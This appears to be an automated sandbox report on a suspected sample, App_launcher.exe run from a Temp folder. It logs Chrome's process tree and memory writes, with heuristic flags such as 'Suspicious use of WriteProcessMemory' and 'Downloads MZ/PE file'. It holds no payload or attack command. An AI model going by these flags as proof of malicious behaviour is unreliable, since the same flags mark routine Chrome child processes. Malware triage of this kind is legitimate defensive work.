PID 3160 wrote to memory of 820	3160	chrome.exe	91
PID 3160 wrote to memory of 820	3160	chrome.exe	91
PID 3160 wrote to memory of 4488	3160	chrome.exe	92
PID 3160 wrote to memory of 1216	3160	chrome.exe	94
PID 3160 wrote to memory of 1216	3160	chrome.exe	94
PID 3160 wrote to memory of 4900	3160	chrome.exe	95
PID 3160 wrote to memory of 4900	3160	chrome.exe	95
PID 3160 wrote to memory of 564	3160	chrome.exe	96
PID 3160 wrote to memory of 4776	3160	chrome.exe	97
PID 3160 wrote to memory of 4480	3160	chrome.exe	98
PID 3160 wrote to memory of 4216	3160	chrome.exe	99
PID 3160 wrote to memory of 4216	3160	chrome.exe	99
PID 3160 wrote to memory of 4864	3160	chrome.exe	100
PID 3160 wrote to memory of 4864	3160	chrome.exe	100
PID 3160 wrote to memory of 380	3160	chrome.exe	101
PID 3160 wrote to memory of 380	3160	chrome.exe	101
PID 3160 wrote to memory of 2196	3160	chrome.exe	102
PID 3160 wrote to memory of 2196	3160	chrome.exe	102
PID 3160 wrote to memory of 1096	3160	chrome.exe	103
PID 3160 wrote to memory of 1096	3160	chrome.exe	103
PID 3160 wrote to memory of 3096	3160	chrome.exe	104
PID 3160 wrote to memory of 2816	3160	chrome.exe	105
PID 3160 wrote to memory of 2816	3160	chrome.exe	105
PID 3160 wrote to memory of 2504	3160	chrome.exe	108
PID 3160 wrote to memory of 2504	3160	chrome.exe	108
PID 3160 wrote to memory of 2280	3160	chrome.exe	109
PID 3160 wrote to memory of 2280	3160	chrome.exe	109
PID 3160 wrote to memory of 4252	3160	chrome.exe	110
PID 3160 wrote to memory of 4252	3160	chrome.exe	110
PID 3160 wrote to memory of 3224	3160	chrome.exe	111
PID 3160 wrote to memory of 3224	3160	chrome.exe	111
PID 3160 wrote to memory of 3240	3160	chrome.exe	112
PID 3160 wrote to memory of 3240	3160	chrome.exe	112
PID 3160 wrote to memory of 2172	3160	chrome.exe	113
PID 3160 wrote to memory of 2172	3160	chrome.exe	113
PID 3160 wrote to memory of 468	3160	chrome.exe	114
PID 3160 wrote to memory of 468	3160	chrome.exe	114
PID 3160 wrote to memory of 3852	3160	chrome.exe	115
PID 3160 wrote to memory of 3852	3160	chrome.exe	115
PID 3160 wrote to memory of 2328	3160	chrome.exe	116
PID 3160 wrote to memory of 2328	3160	chrome.exe	116
PID 3160 wrote to memory of 3936	3160	chrome.exe	117
PID 3160 wrote to memory of 3936	3160	chrome.exe	117
PID 3160 wrote to memory of 4156	3160	chrome.exe	118
PID 3160 wrote to memory of 4156	3160	chrome.exe	118
PID 3160 wrote to memory of 1744	3160	chrome.exe	119
PID 3160 wrote to memory of 1744	3160	chrome.exe	119
PID 3160 wrote to memory of 1704	3160	chrome.exe	120

C:\Users\Admin\AppData\Local\Temp\App_launcher.exe
"C:\Users\Admin\AppData\Local\Temp\App_launcher.exe"
1⤵
PID:1712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe8ce8c728,0x7ffe8ce8c734,0x7ffe8ce8c740
  2⤵
  PID:4448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1508,i,17086951788869821031,15297910976802459027,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2140 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:2824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1644,i,2040889133236327660,1906214591333626188,262144 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1932 /prefetch:2
  2⤵
  PID:1656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,14221285138388420814,5874800223244918104,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1844 /prefetch:13
  2⤵
  PID:4244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,5833501752006427044,3966844333691199547,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:3752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,8160944649503978819,5276101619744264729,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:4768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3216,i,15470812948739333139,17654596590459416426,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4220 /prefetch:9
  2⤵
  PID:2208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4636,i,5391006315546178774,10566211134001140996,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4644 /prefetch:1
  2⤵
  PID:3048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,9847117103786766101,1695308695184061407,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4840 /prefetch:14
  2⤵
  PID:1868
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4972,i,5257061101349757503,17064072295097447859,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4980 /prefetch:14
  2⤵
  PID:820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5432,i,17171730971458832601,7270472882291687858,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5364 /prefetch:14
  2⤵
  PID:4488
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5008,i,2898533395201552099,8752156915781461642,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5748 /prefetch:1
  2⤵
  PID:1216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3676,i,7092128602723292391,1384534191511103561,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3532 /prefetch:1
  2⤵
  PID:4900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5644,i,6300800440811270114,646883980797244203,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4788 /prefetch:14
  2⤵
  PID:564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3656,i,8082750968033668543,16116458862903041506,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5680 /prefetch:14
  2⤵
  PID:4776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3232,i,7074272323184192887,11796013800751717504,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4528 /prefetch:14
  2⤵
  PID:4480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3860,i,14867189160554099523,7737781289198729936,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4528 /prefetch:1
  2⤵
  PID:4216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3656,i,4827802452616213110,13760992063541232886,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5468 /prefetch:14
  2⤵
  PID:4864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5960,i,183160227567005629,517837973403805193,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6112,i,13275519091687801417,8320128931811813143,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6120 /prefetch:14
  2⤵
  PID:2196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6252,i,7578543852176671909,9279243209276795989,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6276 /prefetch:1
  2⤵
  PID:1096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1164,i,2334228317417465599,3045247445624304769,262144 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5712 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5612,i,3946295154144559184,11973071122331335790,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6112 /prefetch:14
  2⤵
  PID:2816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5952,i,13065585271225789858,14054449255585792162,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3632 /prefetch:1
  2⤵
  PID:2504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=4792,i,1506637074422602103,12780543788198771822,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:2280
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=4632,i,6236029285759109476,365942172073201951,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5704 /prefetch:1
  2⤵
  PID:4252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6312,i,9547396772661284959,7052063377746005806,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5828 /prefetch:1
  2⤵
  PID:3224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5916,i,10517687408154631633,10946523944056206165,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6300 /prefetch:1
  2⤵
  PID:3240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=5884,i,15603811016815345712,3407006263589535969,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6232 /prefetch:1
  2⤵
  PID:2172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=5840,i,1953098092903238267,13594639282866374189,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6320 /prefetch:1
  2⤵
  PID:468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=5956,i,9792252193632214798,11296962666261786381,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3680 /prefetch:1
  2⤵
  PID:3852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=4900,i,4465896347330549269,12611965485379547006,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3580 /prefetch:1
  2⤵
  PID:2328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=4536,i,4488649539750018923,893093815244603934,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3540 /prefetch:1
  2⤵
  PID:3936
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=6524,i,3513286609458380050,10513150262648970793,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6472 /prefetch:1
  2⤵
  PID:4156
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6452,i,3214281522703527036,8561382077058047651,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5872 /prefetch:14
  2⤵
  PID:1744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=6556,i,12919160542009686265,12160085444661608159,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6564 /prefetch:1
  2⤵
  PID:1704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6804,i,17805076637681268405,9008934688696554942,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6812 /prefetch:14
  2⤵
  PID:564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=6940,i,12672952044213370920,13579611166570856043,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6932 /prefetch:1
  2⤵
  PID:1244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=6492,i,10959154388968677438,17286860711189780044,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6448 /prefetch:1
  2⤵
  PID:4404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=7120,i,13985707284992509208,491654718839840646,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6428 /prefetch:14
  2⤵
  - Modifies registry class
  PID:1052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=7112,i,1345130462935530171,3539892786960037993,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6212 /prefetch:12
  2⤵
  PID:2960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --metrics-shmem-handle=6892,i,5637489926817404524,13360098712356792656,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6228 /prefetch:1
  2⤵
  PID:2284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --metrics-shmem-handle=7252,i,8864495140375546398,4565843416930508076,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=6964 /prefetch:1
  2⤵
  PID:4040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7396,i,3793256583893071318,341992657734329542,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=7368 /prefetch:14
  2⤵
  PID:4988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --metrics-shmem-handle=7560,i,10922618245053326300,9414368149347095739,2097152 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=7540 /prefetch:1
  2⤵
  PID:656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7700,i,288601524654723048,18189279486141213049,524288 --field-trial-handle=1940,i,15179218507837087329,17955033715890575075,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=7712 /prefetch:14
  2⤵
  PID:2840
- C:\Program Files\Google\Chrome\Application\chrome.exe
